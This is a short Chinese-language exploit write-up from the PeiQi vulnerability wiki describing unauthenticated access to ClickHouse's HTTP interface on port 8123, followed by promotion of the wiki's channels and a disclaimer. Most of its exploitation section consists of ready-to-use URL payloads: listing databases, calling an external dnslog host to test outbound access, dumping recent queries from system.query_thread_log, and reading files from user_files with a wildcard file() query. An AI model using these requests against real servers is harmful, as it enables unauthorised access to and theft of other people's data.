一:漏洞描述🐑
默认情况下,clickhouse-server会在8123端口上监控HTTP请求(这可以在配置中修改)。
如果你发送了一个未携带任何参数的GET /请求,它会返回一个字符串 «Ok.»(结尾有换行)。可以将它用在健康检查脚本中。
如果你发送了一个未携带任何参数的GET /请求,它返回响应码200和OK字符串定义,可在Http服务响应配置定义(在末尾添加换行)
这里可以看到 ClickHouse 存在着的接口由于没有鉴权,则任意访问者都可以执行SQL语句获取数据
二:利用方式🐑
首先确定是否使用了 ClickHouse 数据库的接口
根据文档得知,正常返回为 Ok. , 且存在 X-ClickHouse-Summary 作为返回包的 Header
测试是否可以执行SQL命令, 部分会开启身份验证导致未授权执行失败
/?query=SHOW%20DATABASES
成功执行语句获取数据,执行其他命令探测出网
/?query=SELECT%20*%20FROM%20url('http://jahl09.dnslog.cn','txt','column1%20UInt32')%20LIMIT%202
其中也可以查看 system库中的执行记录表来获取最近执行的所有SQL语句来快速定位可利用的信息
(获取敏感用户信息,数据库名以及数据表名)
/?query=SELECT%20*%20FROM%20system.query_thread_log
由于默认配置中的可读路径默认
(配置文件位置:/etc/clickhouse-server/config.xml)
因此只能读取下面路径中的文件,当目标中曾在该路径导入文件且没有删除的情况下,可通过测试获取敏感文件信息,获取数据文件
/var/lib/clickhouse/user_files/
其中读取时可以利用通配符跳过不知道文件名的情况获取文件信息
/?query=SELECT%20*%20FROM%20file('*'%2C%20'CSV'%2C%20'column1%20String%2C%20column2%20String%2C%20column3%20String')%20LIMIT%203%3B"
四: 关于文库🦉
在线文库:
http://wiki.peiqi.tech
Github:
https://github.com/PeiQi0/PeiQi-WIKI-POC
最后
下面就是文库的公众号啦,更新的文章都会在第一时间推送在交流群和公众号
想要加入交流群的师傅公众号点击交流群加我拉你啦~
别忘了Github下载完给个小星星⭐
同时知识星球也开放运营啦,希望师傅们支持支持啦🐟
知识星球里会持续发布一些漏洞公开信息和技术文章~
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
PeiQi文库 拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
本文始发于微信公众号(PeiQi文库):ClickHouse数据库 8123端口的未授权访问
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论